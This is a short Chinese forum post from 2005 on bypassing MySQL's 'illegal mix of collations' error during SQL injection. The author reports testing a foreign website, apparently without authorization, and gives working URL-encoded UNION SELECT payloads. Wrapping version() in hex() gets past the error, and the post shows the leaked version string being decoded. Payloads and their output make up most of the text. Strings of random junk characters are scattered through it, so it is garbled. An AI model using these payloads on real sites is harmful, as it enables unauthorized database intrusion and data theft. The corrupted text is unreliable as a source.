MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
2 ]6 ~* X" w! Z& F- A- K& ~4 X: v文章性质：原创
* G7 \, h5 K9 c! ]5 c+ h发布日期：2005-10-18
* m5 M( x7 ^& x9 O6 {测试个国外的站时：
6 I+ @. F" N4 j# ?& m. N. o0 Q3 Nurl：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
' b$ \2 S1 Z6 tIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
/ u! O, W6 Q! y% C( s+ C( R解决办法：转为其他编码如hex。
url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
342E312E332D62657461
回Mysql查询下得到：
mysql> select 0x342E312E332D62657461;
" k+ Q5 O: F& B  s9 V7 n+------------------------+
% g+ k4 _8 H5 W/ |" l* E" ?| 0x342E312E332D62657461 |
9 ?1 A) A* n* \9 Q, `+------------------------+
| 4.1.3-beta |
+------------------------+
! C' a) ]+ O. \/ Z9 N5 l: I, ^1 row in set (0.00 sec)
& r. a7 ]% t, V* h: g& w